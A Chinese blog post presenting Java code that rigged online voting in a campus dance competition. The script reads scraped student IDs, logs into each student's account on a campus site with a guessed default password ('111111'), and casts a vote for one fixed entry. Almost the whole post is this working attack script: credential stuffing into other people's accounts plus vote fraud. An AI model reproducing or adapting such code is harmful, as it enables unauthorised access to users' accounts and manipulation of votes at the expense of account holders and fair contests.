刷票炫舞大赛代码

    正好今天炫舞大赛结束了,现在就把代码贴出来,估计也没有什么人会看的,看了也没有数据,所以也没什么影响。

    以下就是代码:

package Main;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.util.ArrayList;
import java.util.LinkedList;
import java.util.List;
import java.util.Random;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.client.ClientProtocolException;
import org.apache.http.client.entity.UrlEncodedFormEntity;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.message.BasicNameValuePair;
import org.apache.http.protocol.HTTP;

public class Main_Test {
	
	static volatile LinkedList《String》 studentIDs = new LinkedList《String》();
	
	public static void main(String[] args) throws ClientProtocolException, IOException {
		DefaultHttpClient httpClient;
		SelectStuID();
   	  
		System.out.print(studentIDs.size());
   	 	for (int i = 10000; i 《 10500; i++) {
   	 		String StuID = studentIDs.get(i);
   	 		try{
   	 			httpClient = new DefaultHttpClient();
   	 			//System.out.println(StuID + " Login...!");
   	 			Login(httpClient, StuID);
   	 			//System.out.println(StuID + " Login Success!");
   	 			//System.out.println(StuID + " Voting...");
   	 			Vote(httpClient);
   	 			System.out.println(StuID + " Vote Success!");
   	 			httpClient = null;
   	 			//Thread.sleep(new Random().nextInt(100) * 200);
   	 		}catch(Exception e){
   	 			e.printStackTrace();
   	 		}
		}
	}
	
	static void Login(DefaultHttpClient _httpClient, String _stuID) 
			throws ClientProtocolException, IOException{
		HttpPost Login_Post = new HttpPost("http://xyhui.com/index.php?app=wap&mod=Public&act=doLogin");
		List《NameValuePair》 nvps1 = new ArrayList《NameValuePair》();  
   	  	nvps1.add(new BasicNameValuePair("email", _stuID + "@mysuda.com"));
   	  	nvps1.add(new BasicNameValuePair("password", "111111"));  
   	  	nvps1.add(new BasicNameValuePair("sid", "1"));
   	  	Login_Post.setEntity(new UrlEncodedFormEntity(nvps1, HTTP.UTF_8));
  	  	HttpResponse response = _httpClient.execute(Login_Post);  
  	  	//System.out.println(response.getStatusLine());
   	  	Login_Post.abort();
	}
	
	static void Vote(DefaultHttpClient _httpClient) throws ClientProtocolException, IOException{
		HttpPost Vote_Post = new HttpPost("http://xyhui.com/index.php?app=event&mod=Front&act=vote");
   	  	List《NameValuePair》 nvps2 = new ArrayList《NameValuePair》();  
	  	nvps2.add(new BasicNameValuePair("id", "54"));  
	  	nvps2.add(new BasicNameValuePair("pid", "474"));  
	  	Vote_Post.setEntity(new UrlEncodedFormEntity(nvps2, HTTP.UTF_8));
	  	HttpResponse response = _httpClient.execute(Vote_Post);  
	  	//System.out.println(response.getStatusLine());
	  	Vote_Post.abort();
	}
	
	static void SelectStuID() throws IOException{
		File file = new File("StuID");
		BufferedReader reader = new BufferedReader(new FileReader(file));
		String ContentSingle = "";
		while((ContentSingle = reader.readLine()) != "null" && ContentSingle != null){
			Pattern pattern = Pattern.compile("(《option value=\")(.+?)(\"》)");
        	Matcher matcher = pattern.matcher(ContentSingle);
    		if(matcher.find()){
    			//System.out.println(matcher.group(2));
    			String stdid = matcher.group(2);
    			if (stdid.length() == 10 && stdid.startsWith("1")) {
    					studentIDs.add(stdid);
				}
    		}
		}
	}
}

Leave a Reply

Your email address will not be published. Required fields are marked *